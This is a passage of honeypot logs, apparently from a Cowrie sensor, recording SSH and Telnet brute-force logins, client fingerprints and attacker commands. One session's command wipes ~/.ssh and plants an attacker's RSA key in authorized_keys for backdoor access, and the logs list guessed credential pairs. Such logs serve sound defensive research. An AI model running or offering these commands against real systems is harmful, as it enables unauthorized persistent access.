com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:38.585234Z","src_ip":"87.106.29.151","session":"b67248bbb51d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@2021","message":"login attempt [odoo/odoo@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:38.986780Z","src_ip":"87.106.29.151","session":"b67248bbb51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:40.086947Z","src_ip":"87.106.29.151","session":"b67248bbb51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":50558,"dst_ip":"10.17.0.5","dst_port":22,"session":"e706599060a0","protocol":"ssh","message":"New connection: 138.124.158.150:50558 (10.17.0.5:22) [session: e706599060a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:59.453763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:59.462115Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55120,"dst_ip":"10.17.0.5","dst_port":22,"session":"44e5754eee4f","protocol":"ssh","message":"New connection: 87.251.64.176:55120 (10.17.0.5:22) [session: 44e5754eee4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:59.938727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:52:59.942056Z","src_ip":"87.251.64.176","session":"44e5754eee4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:00.037115Z","src_ip":"87.251.64.176","session":"44e5754eee4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:00.206644Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:00.327086Z","src_ip":"87.251.64.176","session":"44e5754eee4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:00.426684Z","session":"44e5754eee4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:00.524770Z","src_ip":"87.251.64.176","session":"44e5754eee4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:00.624317Z","src_ip":"87.251.64.176","session":"44e5754eee4f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"founderbn","message":"login attempt [oracle/founderbn] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:00.949151Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.655240535736084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:01.076131Z","src_ip":"166.62.41.96","session":"d56e54ac3a62","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:02.390584Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:02.394284Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:02.398904Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:02.586368Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:02.984851Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:02.988292Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:03.171506Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:03.175603Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":59270,"dst_ip":"10.17.0.5","dst_port":22,"session":"e392bf236d93","protocol":"ssh","message":"New connection: 138.124.158.150:59270 (10.17.0.5:22) [session: e392bf236d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:03.340433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:03.345867Z","src_ip":"138.124.158.150","session":"e392bf236d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:03.521363Z","src_ip":"138.124.158.150","session":"e392bf236d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:04.251853Z","src_ip":"138.124.158.150","session":"e392bf236d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:05.430024Z","src_ip":"138.124.158.150","session":"e392bf236d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":59274,"dst_ip":"10.17.0.5","dst_port":22,"session":"060734201b22","protocol":"ssh","message":"New connection: 138.124.158.150:59274 (10.17.0.5:22) [session: 060734201b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:05.613089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:06.150944Z","src_ip":"138.124.158.150","session":"060734201b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:06.329150Z","src_ip":"138.124.158.150","session":"060734201b22","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:07.086348Z","src_ip":"138.124.158.150","session":"060734201b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:07.261821Z","src_ip":"138.124.158.150","session":"e706599060a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:07.268771Z","src_ip":"138.124.158.150","session":"060734201b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":44276,"dst_ip":"159.203.135.109","dst_port":22,"session":"97b57436a2d3","protocol":"ssh","message":"New connection: 20.82.144.240:44276 (159.203.135.109:22) [session: 97b57436a2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:30.186067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:30.191567Z","src_ip":"20.82.144.240","session":"97b57436a2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:30.262180Z","src_ip":"20.82.144.240","session":"97b57436a2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ec2-user","message":"login attempt [root/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:30.572566Z","src_ip":"20.82.144.240","session":"97b57436a2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.09424138069153,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:30.663418Z","src_ip":"212.55.149.117","session":"9898e2f38483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47396,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd16eb49c0e8","protocol":"ssh","message":"New connection: 87.106.29.151:47396 (10.17.0.5:22) [session: dd16eb49c0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:31.239589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:31.243725Z","src_ip":"87.106.29.151","session":"dd16eb49c0e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:31.340363Z","src_ip":"87.106.29.151","session":"dd16eb49c0e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:31.645887Z","src_ip":"20.82.144.240","session":"97b57436a2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir123456","message":"login attempt [amir/amir123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:53:31.787915Z","src_ip":"87.106.29.151","session":"dd16eb49c0e8","protocol":"ssh"}
